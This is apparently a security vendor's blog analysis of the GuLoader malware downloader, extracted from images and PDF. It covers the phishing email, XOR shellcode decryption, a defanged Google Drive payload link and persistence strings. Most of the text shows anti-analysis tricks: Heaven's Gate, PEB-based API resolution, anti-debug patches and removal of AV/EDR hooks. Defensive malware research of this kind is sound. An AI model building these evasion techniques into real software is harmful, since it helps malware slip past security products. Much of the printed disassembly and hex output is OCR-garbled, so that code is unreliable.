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GuLoader, a malware family that emerged in the wild late last year, is written in Visual Basic 6 (VB6), which is
just a wrapper for a core payload that is implemented as a shellcode. It is distributed via spam email campaigns
with archived attachments that contain the malware. The majority of malware downloaded by GuLoader is

commodity malware, with AgentTesla, FormBook and NanoCore being the most predominant.

This downloader typically stores its encrypted payloads on Google Drive. CrowdStrike has observed that
GuLoader downloads its payloads from Microsoft OneDrive and also from compromised or attacker-controlled
websites. By utilizing legitimate file-sharing websites, GuLoader can evade network-based detection, as these
services are not generally filtered or inspected in corporate environments. In addition, the downloaded payloads
are encrypted with a hard-coded XOR key embedded in the malware, making it difficult for file-sharing service
providers to identify the payload as malicious. GuLoader is an advanced downloader that uses shellcode wrapped
in a VB6 executable that changes in each campaign to evade antivirus (AV) detections. The shellcode itself is
encrypted and later heavily obfuscated, making static analysis difficult. In this blog, we cover GuLoader’s internal

details, including its main shellcode, anti-analysis techniques and final payload delivery mechanism.

Analysis

GulLoader is often distributed through spam campaigns that contain the malware embedded in archived

attachments. An example of GuLoader spam email is shown in Figure 1.
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RE: PAYMENT TO BANK DETAILS (CONFIRM BANK DETAILS)

@o_

® Click here to download pictures. To help protect your privacy, Qutlook prevented automatic download of some pictures in this message.

transfer request form.rar -
17 KB

[7F]

Good Day, File Edit View Favorites Tools Help
a

e N

Greetings,
Add Extract Test Copy Move Delete Info

We submitted payment twice as attached transfer request. However, bot ¥ |J C\Users\Revengers\Desktop\transfer request form.rary

payments were rejected. Name Size  Parked Size Modified
[= transfer request form.exe 49152 16988 2020-02-20..

In our system we have the banking information listed on the invoice,

however the banking names are different.

Please confirm and help fill your correct banking information in
attached transfer request form, so we may submit for payment ASAP.

Best Regards,

q

Figure 1: Sample spam email with RAR attachment (click image to enlarge)

The attachment contains a malicious executable file named transfer request form.exe . The sample is a PE32
file written in Microsoft Visual Basic (just a wrapper for a shellcode that implements the main functionality), as
shown in Figure 2. Strings present inside the sample don’t reveal much as the binary is packed. The sample
contains numerous calls to meaningless VB functions that can slow down the analysis. By stepping through the

assembly code, we will land into some block of code that is eventually used to decrypt the main shellcode, as

shown in Figure 2.
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3237

3D 7AACOE43
66:A9 DL3D
81FA 930CBE7F
81FB 6C76A595
B8 A269D598
:F7C2 FDBB
:F7C2 FDF6
EF3A27B0
217DD496
(F7C3 3EOL
:BlFA 30C7
:B1FF 09E1
51284000
3446D281
(F7C3 6956
35F77F18
:B1FB F961

F7C3 CC7F3470
8BOF
66:81FA 3723
66:0F6GECE
81FF DAO74BAL
66:0FGECY
F7C7 BAESD4BC
C5F057C8
3D D2EDCEFOQ
66:0F7ECY
F7C3 FCA3IEAODS
39c1

~ 75 C1
81FF D2A150A6
66:81FF B73F
66:A9 BO46
66:81FF ABSC
B8 BE45FDBA
81FB 994B5127
81FA AC9C99DE
66:81FB 13C1
81FB 4826DDEA
2D BE35BDEA
3D DO76BOCF
F7C7 DA937C4A
81FA 38184F42
31D2
3D 82p49628
66:81lFE 6lB2
66:F7C2 9211
66:F7C2 B64B
0310
66:3D 2363
66:81FA ESBB
F7C2 CDBEQ470
B8 40FCC7F4
66:81FA FGBE
81FA 17C90251
66:81FA DASF
05 OD5ECBOB
66:F7C3 915C

xor dh,byte ptr ds:[edi]
cmp eax,430EACTA
test ax,3DD1

cmp edx,7F8E0CI3
cmp ebx, 95A5766C
mov eax, 98D569A2
test dx,BEFD

test dx,FeFD

Ttest eax,B0273AEF
sub eax,96D47D21
test bx,913E

cmp dx,C730

cmp di,E109

mov edi,123.402851
cmp eax, 81D24634
test bx, 5669

cmp eax,l187FF735
cmp bx,61F9

emms

Test ax,Ccoad

inc esi

test ebx,70347FCC
mov ecx,dword ptr ds:[edi]
cmp dx,2337

movd xmmQ,esi

cmp edi,Al4B07DA
movd xmml,ecx
test edi,BCD4ESBA
vxorps xmml,xmml , xmmQ
cmp eax, FOCEEDDZ
movd ecx,xmml
test ebx,5EAA3FC
cmp ecx, eax

jne 123.40781B
cmp edi,A650A1D2
cmp di,3FB7

test ax,4680

cmp di,5CAB

mov eax,BAFD45BE
cmp ebx, 27514E99
cmp edx, DE999CAC
cmp bx,C113

cmp ebx,EADD2648
sub eax,BABD35BE
cmp eax,CF8076D0
test edi,4A7CO3DA
cmp edx,424F1838
xor edx,edx

cmp eax,2B896D482
cmp bx,B261

test dx,1192

test dx,4BB6

add edx,dword ptr ds:[eax]
cmp ax,6323

cmp dx,BBES

test edx,70048ECD
mov eax,F4C7FC40
cmp dx,BEF6

cmp edx, 5102C917
cmp dx,9FDA

add eax,BC85E0D
test bx,5C91

Figure 2: Block of code used to decrypt main shellcode (click image to enlarge)

The snippet above contains junk code inserted within legitimate instructions to thwart analysis. After analyzing
and understanding this code further, we see that this code is responsible for decrypting the main shellcode in
memory. It uses a 4-byte XOR key to decrypt the packed code to extract the final shellcode. The sample takes the
first 4 bytes of encrypted data, XORs it with the ESI register and compares it with the value 0x200EC81 , as

shown in Figure 3.
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cmp bx,61F9
mms

Test ax,c6ad

inc esi

test ebx,70347FCC

mov ecx,dword prr ds:[edi]

cmp edi, —\1450 DA
movd xmmL,ecx
test edi,BCD4ESBA
VXOFps xmml , xmml , xmmO
cmp eax,FOCEEDD2
movd ecx,xmn

test ebx, SEAAZFC
cmp ecx,eax

jne 123.407818
cmp edi, AGSOAIDZ
cmp di,

test ax, JGEO

cmp di, 5c

mov eax, E—\Fmssg

jurk code
incrment Est

jurk code

Read first 4 bytes of encrpyted data

junk code

iove 551 into xmm0:

Jurk c

dtore ecx into xmmo:

junk code

Bitwise Logical XOR

jurk code

restore integer register from XMM register

jurk code

%ompar ecx with xorR valuef
P

preserve integer register in XMM register

preserve integer register in xuM register

I

EAX  0200ECS1

EBX 00000000

ECX  4DAODS30

EDX  O01E40FAC

EEP  0018FDSC

ESP  0018FC34

ESI  0018FCCD

EDI 00402851 123.00402851
EIP 00407856 123.00407856
EFLAGS 00000244

ZE1 PE1 AE

GEO0 SEO DFO

CEO0 TFO IF1

LastError 00000000 (ERROR_SUCCESS)

LasTStatus C0000034 (STATUS_OBIECT_NAVME_NOT_FOUND)

Deramr [smcan)

£Cx=4DA0DB30
eax=200EC81

itg

2: [Esp+5] 00000001

3: [esp+C] 003F07D4
171

.text:00407856 122. exe:$7856 #7836 A- T

UEIZEzY 00400177 | |
44 Dump 1 ‘ woump2 | o oump3 | ey oump4 | whoumps | @ wetch1 | bl locals | 2 stua | 00000000 -
address |Hex o R
50402851 [FD 24 B8 4D|7C C8 ED 6|99 20 BB 4F |7C CB EO CC A
0040286194 €6 21 0A |38 20 37 64|7C C8 DC EE|4C C8 BE 4F|. & 00000000
D0402871(F7 88 B4 C4|3C DC 33 4F [F7 90 90 CE |07 C4 8B 4F 0040A010 | 123. 00404010
0402881 [4€ C8 CD BD|45 3E DE CC(07 D8 96 3A |95 4D 71 C4 00000000 )
0402891 [3C D8 28 C6|39 CC 61 9F [F7 90 84 DF |7D 10 33 17 0040A010 | 123. 00404010
D04028A1(04 43 FD 4B|7D 10 33 07 (64 41 F5 47 |F9 01 33 07 CYK} 3.daGu. 2. 00000000 .
0402881 (60 41 F5 43 |F7 80 9C €631 D8 33 3F 5C CB CD 4B A1037\ETK ] 00000000
204028c1 [4p 01 7F 0a|6& D7 03 7E (B3 58 33 50 . 00404338 | 123. 00404338
20402801 |20 9E EA A7 |19 EE BB 4F (22 91 83 0A 00000000 )
D04028E1[BA CC F9 74|31 CO CD AD|F7 BD AB 4C E 00000000
D04028F1(45 37 DE C4 |78 86 33 3A[70 CB CD 48 T 00404338 | 123. 00404338
00402901 (09 CC 31 3A|74 21 D6 53|7C C8 EO 96 00000000 .
0402911 (78 37 6E CA|8A 41 FD 43(95 FB Ad 4F 00000000
50402921 (31 DO 51 D§|60 C8 B8 15(94 FB 9E 4F |7
00402931 7C 8 DF |95 B2 A5 4F[7C 30 E1 I gg;zégig i%iiggiﬂASSE
20402041 |26 o 2 0| 00000000
00402951 (45 ok C 2 00000000
00402961 | 7C E153 3440C4T30 EC BO
0402971 (F5 €9 00 4E|7C C8 BS 8D |74 €8 3D B9 e
0402981 (7C 34 E1 €6|31 D4 51 4C (67 €8 B8 15 005509D8
00402991 |7C 41 FD GB |EC 41 7A B7 |94 C7 AA 4F 00000001
2040294116 <8 D2 4F |83 BD 9C 25(7C A2 BE 25 00000000
00402981 (22 EE B8 4F (45 37 33 02(60 21 CD 54 00008008
D04029C1[E0 ED B8 4F |[F5 4D 88 4E|7C C8 D2 4F 00000000
00402901 (16 D9 D2 BL|F9 3E 47 OF [F7 85 Ad A6 00401084 | 123. 00401084
D04029€1(80 92 50 36|59 C8 B8 F1|7C D8 98 53 Sy&. 00000000 )
040291 (7C CB D2 45|14 CB B8 4F (7C 58 31 318 41 53 B7| [EOK.E. o\xl Sas. 00000008
00402A01 | FF 0B DC 1C |16 C8 7F 0A|14 C8 BB 4F |7C 4B 7B 4B|¥. IK{K 0018FCEO | 00000000
D0402A11|2F A2 47 A7 |11 ED B8 4F [F9 08 CD 9F [F7 8D DO C6|/¢G§.1,00.1.% A0t Recnd | ANAATRRC 177 AOLATNR

Figure 3: XOR key operation routine (click to enlarge image)

If it does not match, it keeps incrementing ESI and performs an XOR operation until the result matches the

expected value. The value 0x200EC81

which is the actual start of the final shellcode.

(First 4 bytes of encrypted data in little endian

XOR

0x200EC81)

XOR Key which for this sample becomes:

(0x4DB824FD XOR 0x200EC81)

, read as little-endian, translates into the instruction sub esp, 0x200

0x4FB3C87C After

this, the decryption routine will call VirtualAlloc() to allocate memory and start decrypting the final shellcode

into the newly allocated memory by XORing encrypted data with key 0x4FB8C87C , as shown in Figure 4.
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. 66:3D 1ACE cmp ax,CE1A
] 66:81FA C2F3 cmp dx,F3C2
. F7C2 8BBDFAG3 test edx,63FABDEE
] 8B1C17 mov ebx,dword ptr ds:[edi+edx] Read 4 bytes of encrypted code
] 66:81FA 0CBD cmp dx,BDOC junk code
. 81FA 1EDB4C23 cmp edx,234CDE1E ]unk code
] 66:81FA AEEB cmp dx,BBAE junk code
. 31F3 xor ebx,esi XOR 4 bytes with XOR key O0x4DB824FD
. 66:F7C3 6894 test bx,9468 junk code
. 66:3D FC7D cmp ax, 7DFC Junk code
. F7C2 DD1006AB test edx,AB0610DD Junk code
. B1FA 7626F510 cmp edx,10F52676 Junk code
] F§ clc unk code
. FC cld Jjunk code
. 111c10 adc dword ptr ds:[eax+edx],ebx copy xORed result into new memory
. F7C2 4EB2465E test edx,S5E46B24E junk code
. 66:81FF 2CF6 cmp di,F62C unk code
. B1FF 25DA1573 cmp edi,7315DA25 Junk code
. 83C2 04 add edx,4 increment EDX
. F7C2 F3CA5485 test edx,8554CAF3 junk code
. F7C7 45337918 test edi,1B793345 Junk code
. 3D 7GEDD1AS cmp eax,ASD1BD76 junk code
] §1FA 88350000 cmp edx,3588 compare length of shellcode
] ~ 75 A4 jne 123.407A88 Loo
. B6:F7C2 C7CD test dx,CDC7 jun code
. 81FB ODLFCDBL cmp ebx,B1CDLFOD Junk code
. 3D 23F70DEF cm? eax,EFODF723 =) -2t
Eg—e FFDO call eax | call final shellcode
] 66:81FB D725 cmp bx,25D07
. 66:F7C3 EB49 test bx,49EE
o0 86:3D0 DC11 cmp ax,11pcC
. 0000 add byte ptr ds:[eax],al
. 0000 add byte ptr ds:[eax],al
] 0000 add bvte ptr ds:leax].al
1
—_—
2ax=00360000

.TexTt:00407AF4 123.exe:$7AF4 #7AF4

| W4 Dump 1 | s Dump 2 ‘ W4 Dump 3 @y Dump 4 WY Dump 5 &) Watch 1 lx= Locals | ;5’ Struct |

Address | Hex ASCII
00360000|81 EC 00 02(00 00 55 89[E5 E8 00 00|00 00 58 83|.7....U.
00360010(E8 OE 89 45|44 E8 8F 2B|00 00 54 Al|30 00 00 00|é..
00360020|88 40 OC 88|40 14 8B 00|8BB 58 28 81|78 33 00f.@..@....x(.{
00360030(32 00 75 F2(39 F6 66 83|78 10 2E 75|E9
00360040(40 10 90 89|45 04 D9 DO|8B 58 3C 90|01
00360050|78 BB 45 04 (01 DE 8B 48|18 89 4D 08|85
00360060|1C 89 4D OC (8B 48 24 89|4D 10 8B 70|20
00360070(31 €9 €7 45|14 1F BB 31|CF 90 8B 16|F8
00360080|51 56 52 EB(65 26 00 00|5E 59 3B 45|14
00360090(C6 04 41 3B|4D 08 75 E2|8B 75 10 03|75
003600A0|39 FF 66 8B (04 4E 8B 75|0C 03 75 04 |BB
003600B80|75 04 89 75|08 E9 6E 1C |00 0O 58 D9|DO
003600C0|04 FF D6 85|F6 89 45 OC|E9 33 1C 00|00
003600D0|4D 18 ES 97 (1C 00 00 5A|EEB 23 26 00|00
003600EQ|00 00 00 90(E9 74 1D 00|00 FB 59 E9|7F
003600F0 |54 E 26|00 00 EB 1AJ5B 31 g2 52g54
0036010039 Fme g Ee A
00360110| 00 O F

00360120|89 01 B8 01 |00 OO C2 |08 OO0 85 F6|ED
00360130|00 FC 59 89(4Dp 1C E9 03 |1 00 00 S5SA|EB
00360140(00 89 45 24|90 89 C2 F8|E8 OF 12 00|00
00360150|6A 00 6A O00(FF 75 24 6A|00 6A 00 6A|00
00360160| 5 26 00 00|39 FF 8B 4D|1C E9 75 1B|00
00360170(9C 25 00 00|89 85 30 01|00 00 &A 00|D9

Aandamtanlea 11 &8s rrlos re Fr onales a1 Falea

Figure 4: Decrypted data in memory (click image to enlarge)

Once the shellcode is decrypted, the code will jump into that new shellcode for further execution. Since the
decryption routine has decrypted our shellcode, a memory dump of that newly allocated region gives us lots of

interesting strings, including API names and the final encrypted payload hosted on Google Drive, as shown below.

ASCII Strings
00001A7F
hxxps<:>//drive.google.com/uc?export=download&id=1THD-itP7i0m@5w_6SQSb-C3tgd3cLMz0 000@1ADE

Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 0001B28 wininet.d11l 00001B3B
InternetOpenA 00001B4E InternetSetOptionA 00001B68 InternetOpenUrlA 00001B7E InternetReadFile 00001894
InternetCloseHandle 00001BCB ntdll 00001BD6 NtCreateSection 00001BEB NtMapViewOfSection 00001C03
NtClose 00001C10 NtGetContextThread 00001C29 NtSetContextThread 00001C43 NtProtectVirtualMemory
00001C5F NtAllocateVirtualMemory 00001C7C NtWriteVirtualMemory 00001C98 NtOpenFile 000@1CA9
NtResumeThread 00001CBD DbgBreakPoint @0@@1CD@ DbgUiRemoteBreakin 00001CE8 NtSetInformationThread
00001D@5 kernel32 00001D13 WaitForSingleObject 00001D2D LoadlLibraryA 00001D40 CreateProcessInternalll
00001D5C GetLongPathNameWl 00001D73 TerminateProcess 00001D8A CreateThread 00001D9C
AddVectoredExceptionHandler 00@@1DBD TerminateThread 000@1DD2 CreateFileW 000@1DE5 WriteFile @0001DF5
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GetFileSize 00@@1EQ7 ReadFile 00001E15 CloseHandle 00@@1E26 Sleep @@0O1E31 advapi32 00001E3F
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RegCreateKeyExA 00001E54 RegSetValueExA 0@@@TE68 user32 00001E74 EnumWindows 0000210F Startup key

00002120 Software\Microsoft\Windows\CurrentVersion\RunOnce 000021A0 shell32 000021AD

SHCreateDirectoryExil 000021C8 ShellExecutel

Analyzing Shellcode

81EC 00020000 sub ESE.ZUU
00360006 55 push ebp
00360007 B9ES mov ebp,esp
00360009 EE 00000000 call 36000E
0036000E 58 pop eax
0036000F 83EE OE sub eax,E
00360012 8045 44 mov dword ptr ss:lebp+44],eax
00360015 EE BFZ2B0000 call 26ZBAg9
0036001A 64:41 30000000 mov eax,dword ptr E: [30]
00360020 8B40 0OC mov eax,dword ptr ds:[eax+C]
00360023 8B40 14 mov eax,dword ptr ds:[eax+14]
00360026 8800 mov eax,dword ptr ds:[eax]
00360028 BB58 28 mov ebx,dword ptr ds:[eax+28]
00360028 8178 0OC 33003200 cmp dword ptr ds:[ebx+C],320033
00360032 ~ 75 F2 jne 360026
00360034 39F6 cmp esi,es’
00360036 66:8378 10 ZE cmp word ptr ds:[ebx+10],2E
00360038 ~ 75 E9 jne 360026
00360030 85CH test ecx,ecx _ _ Figure 5:

Entry point of the main shellcode (click image to enlarge)

This entire shellcode is heavily obfuscated, contains lots of junk code and also contains anti-analysis and anti-

debugging tricks to make shellcode analysis more difficult. The shellcode starts with a few lines that prepare the

stack and registers for use within the function before an interesting call 362BA9 instruction, as shown in Figure

6.

00302BA9
0362BAB

k3

cmp ebx, ebx

mov ebx,dword ptr [ll: [CO]

39DB
. 64:8B1D C0O000000
F8

. 83FE 00

BB 3300

. 66:
66:53

|
2000000000000

L

E8 EBFFFFFF

3
E8 DFFFFFFF
L 50

clc

cmp ebx,0
je 362BD7
jmp 362BDE
cmp edx, edx
pop eax
clc

nop

jmp 3628BD2
cld 7

op edx
e

mov bx,33
push bx
push eax

mov eax,esp
add esp,6

jmp far fword ptr ds:[eax]

€all <sub_362BC2>

ret
call 362BBC
push eax

Heavens_gate
Reserved for Wowe4. Contains a pointer to FastSysCall in Wowed.

Jump if not x64

edx:sub_362BC2+15

edx:sub_362BC2+15
32-bit is 0x23 and 64-bit is 0x33

jump far pointer

Figure 6: Heaven’s Gate technique (click to enlarge image)

The code in Figure 6 applies the Heaven's Gate technique, the technique for executing code from x86 to x64 with
the far JMP command. The code checks the FS:<0xC@> register value to see whether the system is x64 or not. If

it is x64, the shellcode uses the Heaven's Gate call technique.

Accessing Kernel Imports via PEB

When a malware injects a payload into memory, it needs to determine which API calls to use; this is done by using
the Process Environment Block (PEB), which is always located at offset @x30 within the Threat Information

Block (TIB), which in turn is referenced by the segment register FS:<@x00> . For example, a common method is
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to find the kernel32.d1l address from the loaded modules and enumerate the export table of kernel32.d11l to

find GetProcAddress() and start loading the API addresses required for its operation. Figure 7 shows the code

that does this after the Heaven’s Gate function call.

||| 00360015 E8 8F2B0000 €all 362BA9 '

W 0036001 64:A1 30000000 mov eax,dword ptr :[30]

y| 00360020 8B40 0C mov eax,dword ptr ds:[eax+C]
M| 003600 8B40 14 mov eax,dword ptr ds:[eax+14]
W 0036002 8800 mov eax,dword ptr ds:[eax]

M| 00360028 8B58 28 mov ebx,dword ptr ds:[eax+28]
i 00260028 8178 0C 33003200 cmp dword ptr ds:[ebx+C],320033
W 00360032 ~ 75 F2 jne 360026

Wl 003600 39F6 cmp esi,esi

W 00360036 66:8378 10 2E cmp word ptr ds:[ebx+10],2E

W 00360038 ~ 75 E9 jne 360026

| 0036003D 85C9 test ecx,ecx

W 0036003F 8B40 10 mov eax,dword ptr ds:[eax+10]
M| 00360042 a0 nop

W 003600 8945 04 mov dword ptr ss:[lebp+4]],eax
¥| 003600 DIDO fnop

W 00360048 8B58 3C mov ebx,dword ptr ds:[eax+3c]
}| 00360048 a0 nop

W 0036004C 01D8 add eax,ebx

W 0036004E 8B58 78 mov ebx,dword ptr ds:[eax+78]
M| 00360051 8B45 04 mov eax,dword ptr ss:|[ebp+4]
¥ 00360054 01D8 add eax,ebx

M| 00360056 8B48 18 mov ecx,dword ptr ds:[eax+18]
)| 00260059 894D 08 mov dword ptr ss:|lebp+8],ecx
M| 0036005C 85C9 test ecx,ecx

W 0036005E 8848 1C mov ecx,dword ptr ds:[eax+1c]
W 00360061 894D 0C mov dword ptr ss:[ebp+c],ecx
W 00360064 8B48 24 mov ecx,dword ptr ds:[eax+24]
¥| 00360067 894D 10 mov dword ptr ss:|flebp+10],ecx
W 00360064 8E70 20 mov esi,dword ptr ds:[eax+20]
W 0036006D 0375 04 add esi,dword ptr ss:|[ebp+4]
M| 00360070 31C9 XOr ecx,ecx

¥l 00360072 C745 14 1FBB31CF mov dword ptr ss:flebp+14]],CF31BB1F
H 003600 a0 nop

H| 0036007 A 8B16 mov edx,dword ptr ds:[esi]

| 0036007C F8 clc

y| 0036007D 0355 04 add edx,dword ptr ss:[lebp+4]]
N[ 00360080 51 push ecx

Wl 00360081 56 push esi

W[ 00360082 52 push edx

] €all <djb_hash_0x1505>

b pop esi

) pop ecx

b cmp eax,dword ptr ss:|febp+14]
i je 360098

W 0036008F 83C6 04 add esi,4

| 0036009 41 inc ecx

H[ 003600 3B4D 08 cmp ecx,dword ptr ss:|lebp+8]
W 00360096 ~ 75 E2 jne 36007a

Wl 00360098 8B75 10 mov esi,dword ptr ss:|febp+10]
W 00360098 0375 04 add esi,dword ptr ss:[ebp+4]
| 0036009E 31c0 XOr eax,eax

Heaven's gate

get a pointer to the PEE (Process Environment Block)
get PEB_LDR_DATA structure

get InMemoryorderModulelList

get pointer to next modules name
compare for 32 string (kernel32.d11)

compare for . in string

Base Address of Kernel3z.d11

store the address

rvAa of PE signature

address of PE signature: eax = eax (kernel32 base) + RvA of PE
RVA of Export Table

base address of kernel

Number of functions exported by a module
store the count

Rva of Address Table - addresses of exported functions

stroe rva

rva of ordinal Table - function order number as listed in the table
store rva

RvA of Name Pointer Table - addresses of exported function names

Hash of GetProcAddress

move next API into EDX

add base address
push counter

push api name

calculate djb hash value for api string
compre EAX hash value with CF31BBF

jump if GetProcaddress found

increment counter
compare API counter

Figure 7: Accessing kernel imports via PEB (click image to enlarge)

DJB2 Hashes for Windows API Resolution

When GuLoader needs to call a Windows API function, it must first resolve the function’s address, as it does not

have an Import Address Table (IAT). The code shown in Figure 7 iterates through export functions of

kernel32.d1l one by one, calculates the DJB2 hashes for each export API and compares those with the
hardcoded hash value CF31BB1F (DJB2 hash of GetProcAddress API).

Python Snippet for DJB2 Hash Calculation

val = 0x1505

inString = "GetProcAddress"
for ch in inString:

val += (val << 5)

val &= OxFFFFFFFF

val += ord(ch)

val &= OxFFFFFFFF

O N ok W

print(hex(val).upper().lstrip("0X").rstrip("L"))

Once the shellcode matches the hash for the string name GetProcAddress , it will calculate its API address from

kernel32.d11 . Then it will start resolving the required APIs shown in the appendix at the end of this blog.
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Anti-Sandbox/Anti-Emulation

GulLoader also checks the number of application windows to detect an analysis environment. This check uses the
function EnumWindows to enumerate and count all top-level windows on the screen. If the number of windows is
less than 12, the malware calls TerminateProcess with its own process handle as the parameter to terminate.

This might have been done to evade sandboxes or emulator environments.

Anti-Attach: Patching DbgBreakPoint and DbgUIRemoteBreakin

The Windows API functions DbgBreakPoint and DbgUiRemoteBreakin are called when a debugger attaches to a
running process. The shellcode patches these two APIs by replacing the INT3 opcode of DbgBreakPoint with

opcode 90 (NOP, or “no-operation,”

to do nothing), and replacing the first few bytes of DbgUIRemoteBreakin with a dummy call (to cause a crash).

This is done to prevent a debugger from attaching to the process, as shown in Figure 8.

] F8 clc
. ES FFOL0000 €all <call_zwprotectvirtualMmemory>
. 83F8 00 cmp eax,0
~ OF85 13010000 jne 362aA6
® 8508 Test ebx,ebx
. FC cld
8 8B4424 18 mov eax,dword ptr ss:fesp+18] Patch function=<ntdll.DbgéreakpPoint>
8 39F6 cmp esi,esi
8 €600 90 mov byte ptr ds:[eax],90 Patch original cC byte with 90 (nop)
o 90 nop
. FC ('\E
o 8B4424 1C mov eax,dword ptr ss:|lesp+1c] patch function=<ntdl11.DbguiremoteBreakin=
™ 600 6A mov byte ptr ds:[eax],6A 6A:" "
o €640 01 00 mov byte ptr ds:[eax+1],0
o €640 02 BB mov byte ptr ds:[eax+2],88
® a0 nop
o 8B95 9C000000 mov edx,dword ptr ss:|febp+9c]
. F8 clc
® 8950 03 mov dword Etr’ ds: [eax+3],edx
® 85DB test ebx,ebx
. C640 07 FF mov byte ptr ds:[eax+7],FF patch byte
. FC cld
® €640 08 DO mov byte ptr ds:[eax+8],D0
® 39F6 cmp esi,esi
. €640 09 C2 mov byte ptr ds:[eax+9],C2 patch byte
. 90 nop
. €640 0A 04 moc byte ptr ds:[eax+a],4 patch byte
8 €640 08 00 mov byte ptr ds:[eax+B],0
. 5 FC cld
. S0 mop H,__—,*patche functions
0| 77EQ000C 90 nop DbgeEreakPoint
e E9S000D c3 ret
» ES0Q00E 90 nop
1
1 @ gggf C2000000 ?Z’psggﬁgs 3 6A 00 push 0 DbguiRemotegreakin
7 8038 BB cmp byte 34 B8 00000000 mov_eax,0
~ 75 F2 jne 262901 FFDOD Eall eax
85DB test ebx €2 0400 ret 4 _
8378 01 00 cmp dword 64:A1 18000000 mov eax,dword ptr 1[18]
~ 75 EA jne 2629D| 8840 30 mov eax,dword ptr ds:[eax+30]
FC cid = T - — -

Figure 8: Patching DbgBreakPoint and DbgUIRemoteBreakin (click image to enlarge)

Unhooking API Hooks

The shellcode performs some pattern matching in the NTDLL API’s code functions — for example, searching for
the byte pattern “\xb8\x00.{3}\xb9,” which represents NTDLL calls to system calls. Many security products like
AV, endpoint detection and response (EDR) and sandbox software put their hooks here, so they can detour the
execution flow into their engines to monitor and intercept API calls and block anything suspicious. Basic user-
mode API hooks by AV/EDR are often created by modifying the first 5 bytes of the API call with a jump ( JMP )
instruction to another memory address pointing to the security software. Considering this hooking mechanism, the
shellcode scans for all such system calls and then restores its first 5 bytes to the original bytes in NTDLL , as

shown in Figure 9.
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. 8B4424 04 mov eax,dword ptr ss:|fesp+4] ntdl1. 77E90000

® 034424 08 add eax,dword ptr ss:|lesp+&]

] FC cld

] 43 inc ebx ebx:L"ions"

] 39c3 cmp ebx,eax ebx:L"ions"

. « 74 68 TE SGZBZ0

] 803B BB cmp byte ptr ds:[ebx],E8 compare if BB

] ~ 75 F3 jne 362AB8

™ 3902 cmp edx,edx pattern to

] 8378 01 00 cmp dword ptr ds:[ebx+1],0

. ~ 75 ED jne 362AB8 search

] 8078 05 BO cmp byte ptr ds:[ebx+5],B9 compare if B9

. ~ 75 E7 ine 362AB8

L] 3908 cmp ebx,ebx ebx:L 10ns

. BA BD542404 mov edx,424548D

. 83C3 0A add ebx,a ebx:L"ions"

] 31co XOr ecx,ecx

] FB clc

[ ] BE 01000000 mov eax,l

] 41 inc ecx

. 43 inc ebx ebx:L"ions"

. 3B13 cmp edx,dword ptr ds:[ebx] ebx:L"ions"

. « 75 28 jne 362811

] 3902 cmp edx,edx

. 66:8178 FE €933 cmp word ptr ds:[ebx-2],33c9 XOR ECX, ECX

] v 74 07 je 362AFA check if equal

. 807B FB B9 cmp byte ptr ds:[ebx-5],89

. - 74 OE je 362807

] F8 clc

. 90 oD

] CB643 F9 BB mov byte ptr ds:[ebx-7],88 restore with B8 == MOV

. FC cld

. 8943 FA mov dword ptr ds:[ebx-6],eax restore system call number

] 40 inc eax

] ~ EB OB jmp 362811

. FC cld

. C643 F6 BS mov byte ptr ds:[ebx-a],B8 ebx-A:L"teoptions”

. 39p2 cmp edx,edx

. 8943 F7 mov dword ptr ds:[ebx-9],eax restore back

] 40 inc eax

o §1F9 00300000 cmp ecx,3000 bytes

. ~ 75 CA ine 362AE3

] 6a 20 push 20 PAGE_EXECUTE_READ

. 39DB cmE; ebx,ebx ebx:L"ions"

] E8 67000000 €all <call_zZwProtectVirtualMemory:> Reset page permissions to 0x20
—_— c2 1c00 r'_let ic

. F8 clc

As a result, GuLoader bypasses any hooks installed by anti-malware software. Lastly, it resets the NTDLL ’s

memory permissions back to PAGE_EXECUTE_READ only.

Anti-debug (NtSetInformationThread)

Next, the shellcode calls the NtSetInformationThread function with ThreadHideFromDebugger ( 0x11 ) as the

second parameter for hiding the thread from a debugger, as shown in Figure 10.

|| 00360166 884D 1C mov ecx,dword ptr ss:|febp+1c] [ebp+1c]:"ntd11"
e 00360169| -~ E9 75180000 jmp 361CE3
e 0036016E 5A po[i edx edx=00361CEE "NtSetInformationThread"
e 0036016F E§ 9C250000 €all <LoadLibraryandcetProcAddress>
e 00360174 8985 30010000 mov dword ptr ss:[lebp+130],eax Store API address
e 0036017 6A 00 push 0 push 0
e 0036017 D9D0 fr‘-:ﬁ
e 0036017E 6A 00 push 0
e 00360180 6A 11 push 11 ThreadHideFrombebugger = 0x11
e Nn2AN1 22 AA FE push FFFFFFFE
o| Breakpoint Not Set 5Eg test esi,esi
>0 FFDO call eax call ntd1l.NtsetInformationThread
e 00360188 884D 1C mov ecx,dword ptr ss:|[ebp+1c] [ebp+1c]:"ntd1T"
— 00360188 ~ E9 CA1A0000 ]_‘mp 361C5A

Figure 10: NtSetInformation thread function with ThreadHideFromDebugger parameter (click image to enlarge)

This causes a crash in the debugged application when a breakpoint is hit in the hidden thread or when the

debugger steps through the instructions.

Anti-Analysis/Debug Techniques

The shellcode uses several anti-debugging techniques. The shellcode detects if hardware breakpoints or software

breakpoints have been set, each time it calls several key API functions, as shown in Figure 11.
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700 10000100 mov dword ptr ds:[eax],10010
FFE7 00500000 push dword ptr ds:[edi+5000] ThreadContext
D9D0 fr‘-:ﬁ
6A FE push FFFFFFFE Thread handle
FF55 28 €alll dword ptr ss:[ebp+28] ntd11. NtGetContextThread
83F8 00 cmp eax,0
v 75 69 jne <force_crash>
85C0 test eax,eax
8BES7 00500000 mov eax,dword ptr ds:[edi+5000] move ThreadContext to EAX
8378 04 00 cmp dword ptr ds:[eax+4],0 DRO register
~ 75 5B jne <force_crash>
8378 08 00 cmp dword ptr ds:[eax+8],0 DR1 register
v 75 55 jne <force_crash>
90 nop : ‘ dsel ]
8378 0C 00 cmp dword ptr ds:[eax+cC],0 DR2 register A A
~ 75 4E jne <force_crashs antl'anaIYSIS
Don0 Thop
8378 10 00 cmp dword ptr ds:[eax+10],0 DR3 register checks
v« 75 46 jne <force_crash>
8378 14 00 cmp dword ptr ds:[eax+14],0 DR4 register
v 75 40 jne <force_crash>
8378 18 00 cmp dword ptr ds:[eax+18],0 DR5 register
v 75 3A jne <force_crash>
90 nop
58 p$p eax example: <kernel32.CreateProcessInternalis>
F& clc
8ALB mov bl,byte ptr ds:[eax] move first byte of API call CreateProcessInternalw
80FB CC cmp b1,CcC Check b1 with cC
v 74 30 je <force_crash>
FC cld
66:8B18 mov bx,word ptr ds:[eax]
66:81FB CDO3 cmp bx,3CD check bx with 3cD
v 74 25 je <force_crash=-
